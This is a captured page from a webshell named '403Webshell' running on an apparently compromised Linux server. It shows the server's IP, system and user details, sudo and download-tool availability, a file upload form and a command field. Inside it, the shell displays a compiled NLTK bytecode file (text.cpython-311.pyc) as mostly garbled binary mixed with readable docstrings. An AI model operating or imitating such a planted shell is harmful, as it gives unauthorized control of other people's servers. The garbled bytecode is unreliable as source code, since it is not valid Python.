403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/nltk/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/nltk/__pycache__/text.cpython-311.pyc
�

 T�c�m��|�dZddlZddlZddlmZmZmZddlmZddl	m
Z
ddlmZddl
mZddlmZdd	lmZmZdd
lmZddlmZddlmZdd
lmZmZedgd���ZGd�d��ZGd�d��ZGd�d��Z Gd�d��Z!Gd�de!��Z"d�Z#e$dkr
e#��gd�Z%dS)a
This module brings together a variety of NLTK functionality for
text analysis, and provides simple, interactive interfaces.
Functionality includes: concordancing, collocation discovery,
regular expression search over tokenized strings, and
distributional similarity.
�N)�Counter�defaultdict�
namedtuple)�reduce)�log)�BigramCollocationFinder)�MLE)�padded_everygram_pipeline)�BigramAssocMeasures�	f_measure)�ConditionalFreqDist)�FreqDist)�
sent_tokenize)�LazyConcatenation�	tokenwrap�ConcordanceLine)�left�query�right�offset�
left_print�right_print�linec�T�eZdZdZed���Zddd�fd�Zd�Zd�Zdd	�Z	d
d�Z
dS)�ContextIndexa
    A bidirectional index between words and their 'contexts' in a text.
    The context of a word is usually defined to be the words that occur
    in a fixed window around the word; but other definitions may also
    be used by providing a custom context function.
    c��|dkr||dz
���nd}|t|��dz
kr||dz���nd}||fS)z;One left token and one right token, normalized to lowercaser��*START*�*END*)�lower�len)�tokens�irrs    �+/usr/lib/python3/dist-packages/nltk/text.py�_default_contextzContextIndex._default_context.sf��)*�Q���v�a�!�e�}�"�"�$�$�$�I��)*�c�&�k�k�A�o�)=�)=��q�1�u�
�#�#�%�%�%�7���e�}��Nc��|S�N���xs r$�<lambda>zContextIndex.<lambda>5s��Q�r&c�,����|�_��_|r|�_n�j�_�r�fd��D���t	��fd�t���D�����_t	��fd�t���D�����_dS)Nc�*��g|]}�|���
|��Sr)r))�.0�t�filters  �r$�
<listcomp>z)ContextIndex.__init__.<locals>.<listcomp>=s&���5�5�5�A�6�6�!�9�9�5�a�5�5�5r&c3�t�K�|]2\}}��|�����|��fV��3dSr()�_key�
_context_func�r/r#�w�selfr"s   ��r$�	<genexpr>z(ContextIndex.__init__.<locals>.<genexpr>>sW�����%
�%
�>B�a��T�Y�Y�q�\�\�4�-�-�f�a�8�8�9�%
�%
�%
�%
�%
�%
r&c3�t�K�|]2\}}���|����|��fV��3dSr()r5r4r6s   ��r$r9z(ContextIndex.__init__.<locals>.<genexpr>AsW�����%
�%
�>B�a��T�
�
���
*�
*�D�I�I�a�L�L�9�%
�%
�%
�%
�%
�%
r&)r4�_tokensr5r%�CFD�	enumerate�_word_to_contexts�_context_to_words)r8r"�context_funcr1�keys`` ` r$�__init__zContextIndex.__init__5s��������	�����	7�!-�D���!%�!6�D���	6�5�5�5�5��5�5�5�F�!$�%
�%
�%
�%
�%
�FO�PV�FW�FW�%
�%
�%
�"
�"
���"%�%
�%
�%
�%
�%
�FO�PV�FW�FW�%
�%
�%
�"
�"
����r&c��|jS)zw
        :rtype: list(str)
        :return: The document that this context index was
            created from.
        �r;�r8s r$r"zContextIndex.tokensE����|�r&c���|�|��}t|j|��}i}|j���D]%\}}t	|t|����||<�&|S)z�
        Return a dictionary mapping from words to 'similarity scores,'
        indicating how often these two words occur in the same
        context.
        )r4�setr>�itemsr)r8�word�
word_contexts�scoresr7�
w_contextss      r$�word_similarity_dictz!ContextIndex.word_similarity_dictMsq���y�y������D�2�4�8�9�9�
���!�3�9�9�;�;�	B�	B�M�A�z�!�-��Z���A�A�F�1�I�I��
r&�c�D�tt��}|j|�|��D]M}|j|D]=}||kr5||xx|j|||j||zz
cc<�>�Nt||jd���d|�S)NT)rA�reverse)r�intr>r4r?�sorted�get)r8rJ�nrL�cr7s      r$�
similar_wordszContextIndex.similar_words\s����S�!�!���'��	�	�$���8�	�	�A��+�A�.�
�
����9�9��1�I�I�I��.�q�1�$�7�$�:P�QR�:S�TU�:V�V��I�I�I��
�
�f�&�*�d�;�;�;�B�Q�B�?�?r&Fc�r������fd��D����fd��D�����fd�tt�����D��}ttj����|r%|r#tdd��������st��St��fd��D����}|S)a�
        Find contexts where the specified words can all appear; and
        return a frequency distribution mapping each context to the
        number of times that context was used.

        :param words: The words used to seed the similarity search
        :type words: str
        :param fail_on_unknown: If true, then raise a value error if
            any of the given words do not occur at all in the index.
        c�:��g|]}��|����Sr))r4�r/r7r8s  �r$r2z0ContextIndex.common_contexts.<locals>.<listcomp>qs#���-�-�-�!����1���-�-�-r&c�D��g|]}t�j|����Sr))rHr>rZs  �r$r2z0ContextIndex.common_contexts.<locals>.<listcomp>rs)���B�B�B�q�C��.�q�1�2�2�B�B�Br&c�0��g|]}�|�
�|��Sr)r))r/r#�contexts�wordss  ��r$r2z0ContextIndex.common_contexts.<locals>.<listcomp>ss&���H�H�H�a�H�Q�K�H��q��H�H�Hr&z%The following word(s) were not found:� c3�D�K�|]}�j|D]
}|�v�|V���dSr()r>)r/r7rV�commonr8s   ��r$r9z/ContextIndex.common_contexts.<locals>.<genexpr>{sI��������$�*@��*C���%&�q�F�{�{��{�{�{�{�{��r&)�ranger!rrH�intersection�
ValueError�joinr)r8r^�fail_on_unknown�empty�fdrar]s``   @@r$�common_contextszContextIndex.common_contextsfs�������.�-�-�-�u�-�-�-��B�B�B�B�E�B�B�B��H�H�H�H�H�5��U���#4�#4�H�H�H����(�(�3�3���		�_�		��D�c�h�h�u�o�o�V�V�V��	��:�:�������� ������B��Ir&�rO)F)�__name__�
__module__�__qualname__�__doc__�staticmethodr%rBr"rNrWrir)r&r$rr&s�������������\��-1��;�;�
�
�
�
� ���
�
�
�@�@�@�@������r&rc�@�eZdZdZd�fd�Zd�Zd�Zd�Zdd�Zd
d
�Z	dS)�ConcordanceIndexzs
    An index that can be used to look up the offset locations at which
    a given word occurs in a document.
    c��|Sr(r)r*s r$r,zConcordanceIndex.<lambda>�s��Q�r&c���||_	||_	tt��|_	t|��D]:\}}|�|��}|j|�|���;dS)a�
        Construct a new concordance index.

        :param tokens: The document (list of tokens) that this
            concordance index was created from.  This list can be used
            to access the context of a given word occurrence.
        :param key: A function that maps each token to a normalized
            version that will be used as a key in the index.  E.g., if
            you use ``key=lambda s:s.lower()``, then the index will be
            case-insensitive.
        N)r;r4r�list�_offsetsr=�append)r8r"rA�indexrJs     r$rBzConcordanceIndex.__init__�s������	 ���	�D�#�D�)�)��
�L�$�V�,�,�	.�	.�K�E�4��9�9�T�?�?�D��M�$��&�&�u�-�-�-�-�	.�	.r&c��|jS)z{
        :rtype: list(str)
        :return: The document that this concordance index was
            created from.
        rDrEs r$r"zConcordanceIndex.tokens�rFr&c�F�|�|��}|j|S)z�
        :rtype: list(int)
        :return: A list of the offset positions at which the given
            word occurs.  If a key function was specified for the
            index, then given word's key will be looked up.
        )r4ru�r8rJs  r$�offsetszConcordanceIndex.offsets�s ���y�y������}�T�"�"r&c�X�dt|j��t|j��fzS)Nz+<ConcordanceIndex for %d tokens (%d types)>)r!r;rurEs r$�__repr__zConcordanceIndex.__repr__�s/��<��������
���@
�
�	
r&�Pc
���t|t��r|}n|g}|td�|����z
dz
dz}|dz}g}|�|d��}t|dd���D]H\�}�fd�|�|��D��}t
|�|����}�I|r�|D]�d�|j��t|��z���}	|jtd�|z
����}
|j�t|��z�|z�}d�|
��|d�}d�|��d|�}
d�||	|
g��}t|
|	|�||
|��}|�|����|S)z�
        Find all concordance lines given the query word.

        Provided with a list of words, these will be found as a phrase.
        r_��rrNc� ��h|]
}|�z
dz
��S)rr))r/rr#s  �r$�	<setcomp>z4ConcordanceIndex.find_concordance.<locals>.<setcomp>�s!���L�L�L�v�F�Q�J��N�L�L�Lr&)�
isinstancertr!rer{r=rSrcr;�maxrrv)r8rJ�width�phrase�
half_width�context�concordance_listr{�word_offsets�
query_word�left_context�
right_contextrr�
line_print�concordance_liner#s                @r$�find_concordancez!ConcordanceIndex.find_concordance�s�����d�D�!�!�	��F�F��V�F��c�#�(�(�6�"2�"2�3�3�3�a�7�A�=�
��1�*�����,�,�v�a�y�)�)�� ������,�,�	A�	A�G�A�t�L�L�L�L����d�9K�9K�L�L�L�L��\�6�6�w�?�?�@�@�G�G��	:��
:�
:�� �X�X�d�l�1�q�3�v�;�;��3F�&G�H�H�
�#�|�C��1�w�;�,?�,?�!�,C�D�� $��Q��V���_�q�7�{�-J� K�
� �X�X�l�3�3�Z�K�L�L�A�
�!�h�h�}�5�5�k�z�k�B�� �X�X�z�:�{�&K�L�L�
�#2� ��!�����$�$� �!�'�'�(8�9�9�9�9��r&�c�<�|�||���}|std��dSt|t|����}td|�dt|���d���t	|d|���D]\}}t|j���dS)a�
        Print concordance lines given the query word.
        :param word: The target word or phrase (a list of strings)
        :type word: str or list
        :param lines: The number of lines to display (default=25)
        :type lines: int
        :param width: The width of each line, in characters (default=80)
        :type width: int
        :param save: The option to save the concordance.
        :type save: bool
        )r�z
no matcheszDisplaying z of z	 matches:N)r��print�minr!r=r)r8rJr��linesr�r#r�s       r$�print_concordancez"ConcordanceIndex.print_concordance�s��� �0�0��U�0�C�C���	-��,��������s�#3�4�4�5�5�E��K��K�K�3�/?�+@�+@�K�K�K�L�L�L�'0�1A�&�5�&�1I�'J�'J�
-�
-�#��#��&�+�,�,�,�,�
-�
-r&N)r~)r~r�)
rkrlrmrnrBr"r{r}r�r�r)r&r$rqrq�s���������
$/�;�.�.�.�.�4���#�#�#�
�
�
�* �* �* �* �X-�-�-�-�-�-r&rqc��eZdZdZd�Zd�ZdS)�
TokenSearchera�
    A class that makes it easier to use regular expressions to search
    over tokenized strings.  The tokenized string is converted to a
    string where tokens are marked with angle brackets -- e.g.,
    ``'<the><window><is><still><open>'``.  The regular expression
    passed to the ``findall()`` method is modified to treat angle
    brackets as non-capturing parentheses, in addition to matching the
    token boundaries; and to have ``'.'`` not match the angle brackets.
    c�N�d�d�|D����|_dS)N�c3�&K�|]}d|zdzV��
dS)�<�>Nr))r/r7s  r$r9z)TokenSearcher.__init__.<locals>.<genexpr>s*����:�:�a�C�!�G�c�M�:�:�:�:�:�:r&)re�_raw)r8r"s  r$rBzTokenSearcher.__init__s(���G�G�:�:�6�:�:�:�:�:��	�	�	r&c�~�tjdd|��}tjdd|��}tjdd|��}tjdd|��}tj||j��}|D];}|�d��s$|�d��rt
d	����<d
�|D��}|S)a
        Find instances of the regular expression in the text.
        The text is a list of tokens, and a regexp pattern to match
        a single token must be surrounded by angle brackets.  E.g.

        >>> from nltk.text import TokenSearcher
        >>> from nltk.book import text1, text5, text9
        >>> text5.findall("<.*><.*><bro>")
        you rule bro; telling you bro; u twizted bro
        >>> text1.findall("<a>(<.*>)<man>")
        monied; nervous; dangerous; white; white; white; pious; queer; good;
        mature; white; Cape; great; wise; wise; butterless; white; fiendish;
        pale; furious; better; certain; complete; dismasted; younger; brave;
        brave; brave; brave
        >>> text9.findall("<th.*>{3,}")
        thread through those; the thought that; that the thing; the thing
        that; that that thing; through these than through; them that the;
        through the thick; them that they; thought that the

        :param regexp: A regular expression
        :type regexp: str
        z\sr�r�z(?:<(?:r�z)>)z	(?<!\\)\.z[^>]z$Bad regexp for TokenSearcher.findallc�H�g|]}|dd��d���� S)r���z><��split�r/�hs  r$r2z)TokenSearcher.findall.<locals>.<listcomp>0s,��2�2�2���!�B�$��
�
�d�#�#�2�2�2r&)�re�sub�findallr��
startswith�endswithrd)r8�regexp�hitsr�s    r$r�zTokenSearcher.findall
s���0���r�6�*�*�����i��0�0�����e�V�,�,�����f�f�5�5���z�&�$�)�,�,���	I�	I�A��<�<��$�$�
I����C���
I� �!G�H�H�H��3�2�T�2�2�2���r&N)rkrlrmrnrBr�r)r&r$r�r��s<��������;�;�;�'�'�'�'�'r&r�c���eZdZdZdZd!d�Zd�Zd�Zd"d	�Zd"d
�Z	d#d
�Z
d#d�Zd�Zd�Z
d�Zd$d�Zd$d�Zd�Zd%d�Zd&d�Zd�Zd�Zd�Zejd��Zd�Zd�Zd �ZdS)'�Texta�
    A wrapper around a sequence of simple (string) tokens, which is
    intended to support initial exploration of texts (via the
    interactive console).  Its methods perform a variety of analyses
    on the text's contexts (e.g., counting, concordancing, collocation
    discovery), and display the results.  If you wish to write a
    program which makes use of these analyses, then you should bypass
    the ``Text`` class, and use the appropriate analysis function or
    class directly instead.

    A ``Text`` is typically initialized from a given document or
    corpus.  E.g.:

    >>> import nltk.corpus
    >>> from nltk.text import Text
    >>> moby = Text(nltk.corpus.gutenberg.words('melville-moby_dick.txt'))

    TNc�b�|jrt|��}||_|r	||_dSd|dd�vrK|dd��d��}d�d�|d|�D����|_dSd�d�|dd�D����d	z|_dS)
zv
        Create a Text object.

        :param tokens: The source text.
        :type tokens: sequence of str
        �]NrOr_c3�4K�|]}t|��V��dSr(��str�r/�toks  r$r9z Text.__init__.<locals>.<genexpr>]s(���� C� C�c��S��� C� C� C� C� C� Cr&rc3�4K�|]}t|��V��dSr(r�r�s  r$r9z Text.__init__.<locals>.<genexpr>_s(���� @� @�c��S��� @� @� @� @� @� @r&�z...)�_COPY_TOKENSrtr"�namerwre)r8r"r��ends    r$rBz
Text.__init__Ns�����	"��&�\�\�F�����	I��D�I�I�I�
�F�3�B�3�K�
�
���"��+�#�#�C�(�(�C���� C� C�V�A�c�E�]� C� C� C�C�C�D�I�I�I���� @� @�V�B�Q�B�Z� @� @� @�@�@�5�H�D�I�I�Ir&c��|j|Sr()r")r8r#s  r$�__getitem__zText.__getitem__es���{�1�~�r&c�*�t|j��Sr()r!r"rEs r$�__len__zText.__len__hs���4�;���r&�Or�c��d|jvrt|jd����|_|j�|||��S)a�
        Prints a concordance for ``word`` with the specified context window.
        Word matching is not case-sensitive.

        :param word: The target word or phrase (a list of strings)
        :type word: str or list
        :param width: The width of each line, in characters (default=80)
        :type width: int
        :param lines: The number of lines to display (default=25)
        :type lines: int

        :seealso: ``ConcordanceIndex``
        �_concordance_indexc�*�|���Sr(�r ��ss r$r,z"Text.concordance.<locals>.<lambda>���1�7�7�9�9�r&�rA)�__dict__rqr"r�r��r8rJr�r�s    r$�concordancezText.concordanceosP�� �t�}�4�4�&6���!4�!4�'�'�'�D�#��&�8�8��u�e�L�L�Lr&c��d|jvrt|jd����|_|j�||��d|�S)a�
        Generate a concordance for ``word`` with the specified context window.
        Word matching is not case-sensitive.

        :param word: The target word or phrase (a list of strings)
        :type word: str or list
        :param width: The width of each line, in characters (default=80)
        :type width: int
        :param lines: The number of lines to display (default=25)
        :type lines: int

        :seealso: ``ConcordanceIndex``
        r�c�*�|���Sr(r�r�s r$r,z'Text.concordance_list.<locals>.<lambda>�r�r&r�N)r�rqr"r�r�r�s    r$r�zText.concordance_list�sW�� �t�}�4�4�&6���!4�!4�'�'�'�D�#��&�7�7��e�D�D�V�e�V�L�Lr&rOr�c���d|jvr|j|kr|j|ks�||_||_ddlm}|�d���t
j|j|��}|�	d��|�
�fd���t��}t|�
|j|����|_|jS)a�
        Return collocations derived from the text, ignoring stopwords.

            >>> from nltk.book import text4
            >>> text4.collocation_list()[:2]
            [('United', 'States'), ('fellow', 'citizens')]

        :param num: The maximum number of collocations to return.
        :type num: int
        :param window_size: The number of tokens spanned by a collocation (default=2)
        :type window_size: int
        :rtype: list(tuple(str, str))
        �
_collocationsr)�	stopwords�englishr�c�V��t|��dkp|����vS)N�)r!r )r7�
ignored_wordss �r$r,z'Text.collocation_list.<locals>.<lambda>�s#���s�1�v�v��z�/W�Q�W�W�Y�Y�-�=W�r&)r��_num�_window_size�nltk.corpusr�r^r�
from_wordsr"�apply_freq_filter�apply_word_filterrrt�nbest�likelihood_ratior�)r8�num�window_sizer��finder�bigram_measuresr�s      @r$�collocation_listzText.collocation_list�s����
�t�}�,�,��	�S� � ��!�[�0�0��D�I� +�D��
.�-�-�-�-�-�%�O�O�I�6�6�M�,�7���[�Q�Q�F��$�$�Q�'�'�'��$�$�%W�%W�%W�%W�X�X�X�1�3�3�O�!%����_�=�s�C�C�"�"�D���!�!r&c��d�|�||��D��}tt|d�����dS)a�
        Print collocations derived from the text, ignoring stopwords.

            >>> from nltk.book import text4
            >>> text4.collocations() # doctest: +NORMALIZE_WHITESPACE
            United States; fellow citizens; years ago; four years; Federal
            Government; General Government; American people; Vice President; God
            bless; Chief Justice; one another; fellow Americans; Old World;
            Almighty God; Fellow citizens; Chief Magistrate; every citizen; Indian
            tribes; public debt; foreign nations


        :param num: The maximum number of collocations to print.
        :type num: int
        :param window_size: The number of tokens spanned by a collocation (default=2)
        :type window_size: int
        c�$�g|]
\}}|dz|z��S�r_r)�r/�w1�w2s   r$r2z%Text.collocations.<locals>.<listcomp>�s1��
�
�
�$�b�"�B��H�r�M�
�
�
r&�; )�	separatorN)r�r�r)r8r�r��collocation_stringss    r$�collocationszText.collocations�sU��&
�
�(,�(=�(=�c�;�(O�(O�
�
�
��	�i�+�t�<�<�<�=�=�=�=�=r&c�6�|j�|��S)zJ
        Count the number of times this word appears in the text.
        )r"�countrzs  r$r�z
Text.count�����{� � ��&�&�&r&c�6�|j�|��S)zQ
        Find the index of the first occurrence of the word in the text.
        )r"rwrzs  r$rwz
Text.index�r�r&c��t�r()�NotImplementedError)r8�methods  r$�readabilityzText.readability�s��!�!r&c������d|jvrt|jd�d����|_�����|jj������vr�t�����t���fd�����D����}d�|�	|��D��}tt|����dStd��dS)	a~
        Distributional similarity: find other words which appear in the
        same contexts as the specified word; list most similar words first.

        :param word: The word used to seed the similarity search
        :type word: str
        :param num: The number of words to generate (default=20)
        :type num: int
        :seealso: ContextIndex.similar_words()
        �_word_context_indexc�*�|���Sr()�isalphar*s r$r,zText.similar.<locals>.<lambda>�s��a�i�i�k�k�r&c�*�|���Sr(r�r�s r$r,zText.similar.<locals>.<lambda>�s�������r&)r1rAc3�F�K�|]}�|D]}|�v�|�k�|V���dSr(r))r/r7rVr]�wcirJs   ���r$r9zText.similar.<locals>.<genexpr>�sW���������Q�������=�=��d����*3�����	�r&c��g|]\}}|��Sr)r)�r/r7�_s   r$r2z Text.similar.<locals>.<listcomp>s��7�7�7�4�1�a�Q�7�7�7r&z
No matchesN)r�rr"r�r r>�
conditionsrHr�most_commonr�r)r8rJr�rhr^r]r�s `   @@r$�similarzText.similar�s�����!��
�5�5�'3���$9�$9�?R�?R�(�(�(�D�$��z�z�|�|���&�8���3�>�>�#�#�#�#��3�t�9�~�~�H�����������)�)������B�8�7�2�>�>�#�#6�#6�7�7�7�E��)�E�"�"�#�#�#�#�#��,�����r&c��d|jvrt|jd����|_	|j�|d��}|std��dSd�|�|��D��}ttd�|D������dS#t$r}t|��Yd}~dSd}~wwxYw)	aY
        Find contexts where the specified words appear; list
        most frequent common contexts first.

        :param words: The words used to seed the similarity search
        :type words: str
        :param num: The number of words to generate (default=20)
        :type num: int
        :seealso: ContextIndex.common_contexts()
        r�c�*�|���Sr(r�r�s r$r,z&Text.common_contexts.<locals>.<lambda>r�r&r�TzNo common contexts were foundc��g|]\}}|��Sr)r)r�s   r$r2z(Text.common_contexts.<locals>.<listcomp>s��"E�"E�"E���A�1�"E�"E�"Er&c3�,K�|]\}}|dz|zV��dS)r�Nr)r�s   r$r9z'Text.common_contexts.<locals>.<genexpr>s.����L�L�&�"�b��S��2�
�L�L�L�L�L�Lr&N)	r�rr"r�rir�r�rrd)r8r^r�rh�ranked_contexts�es      r$rizText.common_contextss���!��
�5�5�'3���!4�!4�(�(�(�D�$�		��)�9�9�%��F�F�B��
N��5�6�6�6�6�6�"E�"E�����1D�1D�"E�"E�"E���i�L�L�O�L�L�L�L�L�M�M�M�M�M���	�	�	��!�H�H�H�H�H�H�H�H�H�����	���s�,B�AB�
C�&B;�;Cc�*�ddlm}|||��dS)z�
        Produce a plot showing the distribution of the words through the text.
        Requires pylab to be installed.

        :param words: The words to be plotted
        :type words: list(str)
        :seealso: nltk.draw.dispersion_plot()
        r)�dispersion_plotN)�	nltk.drawr)r8r^rs   r$rzText.dispersion_plot!s.��	.�-�-�-�-�-����e�$�$�$�$�$r&r�c�x�t||��\}}t|���}|�||��|S)N)�order)r
r	�fit)r8�tokenized_sentsrU�
train_data�padded_sents�models      r$�_train_default_ngram_lmzText._train_default_ngram_lm.s<��#<�Q��#P�#P� �
�L��!�����
�	�	�*�l�+�+�+��r&�d�*c��d�td�|j����D��|_t	|d��s<tdtj���|�|jd���|_	g}|dks
Jd	���t|��|krlt|j	�|||�
����D])\}}|dkr�|dkrn|�
|���*|d
z
}t|��|k�l|rd�|��dznd}|t|d|���z}t|��|S)a
        Print random text, generated using a trigram language model.
        See also `help(nltk.lm)`.

        :param length: The length of text to generate (default=100)
        :type length: int

        :param text_seed: Generation can be conditioned on preceding context.
        :type text_seed: list(str)

        :param random_seed: A random seed or an instance of `random.Random`. If provided,
            makes the random sampling part of generation reproducible. (default=42)
        :type random_seed: int
        c�8�g|]}|�d����Sr�r�)r/�sents  r$r2z!Text.generate.<locals>.<listcomp>Ds/��!
�!
�!
� $�D�J�J�s�O�O�!
�!
�!
r&r_�_trigram_modelzBuilding ngram index...)�filer�)rUrz!The `length` must be more than 0.)�	text_seed�random_seedz<s>z</s>rr�N)rrer"�_tokenized_sents�hasattrr��sys�stderrrrr!r=�generatervr)	r8�lengthrr�generated_tokens�idx�token�prefix�
output_strs	         r$rz
Text.generate4s��� !
�!
�(5�c�h�h�t�{�6K�6K�(L�(L�!
�!
�!
����t�-�.�.�	��+�#�*�=�=�=�=�"&�">�">��%��#?�#�#�D������z�z�z�>�z�z�z��"�#�#�f�,�,�'��#�,�,��i�[�-�����	
/�	
/�
��U�
�E�>�>���F�?�?��E� �'�'��.�.�.�.��1��K��"�#�#�f�,�,�/8�?����)�$�$�s�*�*�R���i�(8��&��(A�B�B�B�
�
�j�����r&c�:�|���j|�S)zc
        See documentation for FreqDist.plot()
        :seealso: nltk.prob.FreqDist.plot()
        )�vocab�plot)r8�argss  r$r(z	Text.plotbs��
!�t�z�z�|�|� �$�'�'r&c�J�d|jvrt|��|_|jS)z.
        :seealso: nltk.prob.FreqDist
        �_vocab)r�rr+rEs r$r'z
Text.vocabis&���4�=�(�(�"�4�.�.�D�K��{�r&c���d|jvrt|��|_|j�|��}d�|D��}t	t|d����dS)a�
        Find instances of the regular expression in the text.
        The text is a list of tokens, and a regexp pattern to match
        a single token must be surrounded by angle brackets.  E.g.

        >>> from nltk.book import text1, text5, text9
        >>> text5.findall("<.*><.*><bro>")
        you rule bro; telling you bro; u twizted bro
        >>> text1.findall("<a>(<.*>)<man>")
        monied; nervous; dangerous; white; white; white; pious; queer; good;
        mature; white; Cape; great; wise; wise; butterless; white; fiendish;
        pale; furious; better; certain; complete; dismasted; younger; brave;
        brave; brave; brave
        >>> text9.findall("<th.*>{3,}")
        thread through those; the thought that; that the thing; the thing
        that; that that thing; through these than through; them that the;
        through the thick; them that they; thought that the

        :param regexp: A regular expression
        :type regexp: str
        �_token_searcherc�8�g|]}d�|����Sr�)rer�s  r$r2z Text.findall.<locals>.<listcomp>�s"��*�*�*��������*�*�*r&r�N)r�r�r-r�r�r)r8r�r�s   r$r�zText.findallrsh��.�D�M�1�1�#0��#6�#6�D� ��#�+�+�F�3�3��*�*�T�*�*�*��
�i��d�#�#�$�$�$�$�$r&z\w+|[\.\!\?]c���|dz
}|dkrK|j�||��s+|dz}|dkr |j�||���+|dkr||nd}|dz}|t|��krX|j�||��s8|dz
}|t|��kr |j�||���8|t|��kr||nd}||fS)z�
        One left & one right token, both case-normalized.  Skip over
        non-sentence-final punctuation.  Used by the ``ContextIndex``
        that is created for ``similar()`` and ``common_contexts()``.
        rrrr)�_CONTEXT_RE�matchr!)r8r"r#�jrrs      r$�_contextz
Text._context�s���
��E���1�f�f�T�-�3�3�F�1�I�>�>�f�
��F�A��1�f�f�T�-�3�3�F�1�I�>�>�f���F�F�v�a�y�y�	��
��E���#�f�+�+�o�o�d�&6�&<�&<�V�A�Y�&G�&G�o�
��F�A��#�f�+�+�o�o�d�&6�&<�&<�V�A�Y�&G�&G�o��#�f�+�+�-�-��q�	�	�7���e�}�r&c��d|jzS�Nz
<Text: %s>�r�rEs r$�__str__zText.__str__�����d�i�'�'r&c��d|jzSr5r6rEs r$r}z
Text.__repr__�r8r&r()r�r�)rOr�rj)r�)rNr)rkrlrmrnr�rBr�r�r�r�r�r�r�rwr�rrirrrr(r'r�r��compiler0r3r7r}r)r&r$r�r�4s���������.�L�I�I�I�I�.��� � � �M�M�M�M�*M�M�M�M�(!"�!"�!"�!"�F>�>�>�>�0'�'�'�'�'�'�"�"�"�  �  �  �  �D����8%�%�%�����,�,�,�,�\(�(�(����%�%�%�D�"�*�_�-�-�K����0(�(�(�(�(�(�(�(r&r�c�*�eZdZdZd�Zd�Zd�Zd�ZdS)�TextCollectiona;A collection of texts, which can be loaded with list of texts, or
    with a corpus consisting of one or more texts, and which supports
    counting, concordancing, collocation discovery, etc.  Initialize a
    TextCollection as follows:

    >>> import nltk.corpus
    >>> from nltk.text import TextCollection
    >>> from nltk.book import text1, text2, text3
    >>> gutenberg = TextCollection(nltk.corpus.gutenberg)
    >>> mytexts = TextCollection([text1, text2, text3])

    Iterating over a TextCollection produces all the tokens of all the
    texts in order.
    c����t�d��r �fd�����D����|_t�|t�����i|_dS)Nr^c�:��g|]}��|����Sr))r^)r/�f�sources  �r$r2z+TextCollection.__init__.<locals>.<listcomp>�s#���@�@�@�!�f�l�l�1�o�o�@�@�@r&)r�fileids�_textsr�rBr�
_idf_cache)r8r@s `r$rBzTextCollection.__init__�sh����6�7�#�#�	A�@�@�@�@�v�~�~�/?�/?�@�@�@�F�����
�
�d�-�f�5�5�6�6�6�����r&c�L�|�|��t|��zS)z"The frequency of the term in text.)r�r!�r8�term�texts   r$�tfzTextCollection.tf�s���z�z�$���#�d�)�)�+�+r&c�2��|j����}|�yt�fd�|jD����}t|j��dkrt	d���|r$tt|j��|z��nd}||j�<|S)z�The number of texts in the corpus divided by the
        number of texts that the term appears in.
        If a term does not appear in the corpus, 0.0 is returned.Nc���g|]}�|v�d��	S)Tr))r/rGrFs  �r$r2z&TextCollection.idf.<locals>.<listcomp>�s���H�H�H�D�4�4�<�<�4�<�<�<r&rz+IDF undefined for empty document collectiong)rCrTr!rBrdr)r8rF�idf�matchess `  r$rKzTextCollection.idf�s����
�o�!�!�$�'�'���;��H�H�H�H�D�K�H�H�H�I�I�G��4�;���1�$�$� �!N�O�O�O�5<�E�#�c�$�+�&�&��0�1�1�1�#�C�$'�D�O�D�!��
r&c�Z�|�||��|�|��zSr()rHrKrEs   r$�tf_idfzTextCollection.tf_idf�s%���w�w�t�T�"�"�T�X�X�d�^�^�3�3r&N)rkrlrmrnrBrHrKrNr)r&r$r<r<�sZ������
�
����,�,�,����4�4�4�4�4r&r<c�R�ddlm}t|�d�����}t	|��t	��t	d��|�d��t	��t	d��|�d��t	��t	d��|���t	��t	d��|�gd	���t	��t	d
��|�	d��t	��t	d��t	d
|d��t	d|dd���t	d|�
��d��dS)Nr)�brown�news)�
categorieszConcordance:zDistributionally similar words:z
Collocations:zDispersion plot:)rQ�report�said�	announcedzVocabulary plot:�2z	Indexing:ztext[3]:r�z
text[3:5]:�ztext.vocab()['news']:)r�rPr�r^r�r�rr�rr(r')rPrGs  r$�demorX�s{��!�!�!�!�!�!�����v��.�.�/�/�D�	�$�K�K�K�	�G�G�G�	�.�������V����	�G�G�G�	�
+�,�,�,��L�L�����	�G�G�G�	�/����������	�G�G�G�
�
�������@�@�@�A�A�A�	�G�G�G�	�
�����I�I�b�M�M�M�	�G�G�G�	�+����	�*�d�1�g����	�,��Q�q�S�	�"�"�"�	�
!�4�:�:�<�<��#7�8�8�8�8�8r&�__main__)rrqr�r�r<)&rnr�r�collectionsrrr�	functoolsr�mathr�nltk.collocationsr�nltk.lmr	�nltk.lm.preprocessingr
�nltk.metricsrr�nltk.probabilityr
r<r�
nltk.tokenizer�	nltk.utilrrrrrqr�r�r<rXrk�__all__r)r&r$�<module>resA����
�	�	�	�
�
�
�
�8�8�8�8�8�8�8�8�8�8�������������5�5�5�5�5�5�������;�;�;�;�;�;�7�7�7�7�7�7�7�7�7�7�7�7�7�7�%�%�%�%�%�%�'�'�'�'�'�'�2�2�2�2�2�2�2�2��*��M�M�M����X�X�X�X�X�X�X�X�vx-�x-�x-�x-�x-�x-�x-�x-�v5�5�5�5�5�5�5�5�p~(�~(�~(�~(�~(�~(�~(�~(�D+4�+4�+4�+4�+4�T�+4�+4�+4�\9�9�9�<�z����D�F�F�F������r&

Youez - 2016 - github.com/yon3zu
LinuXploit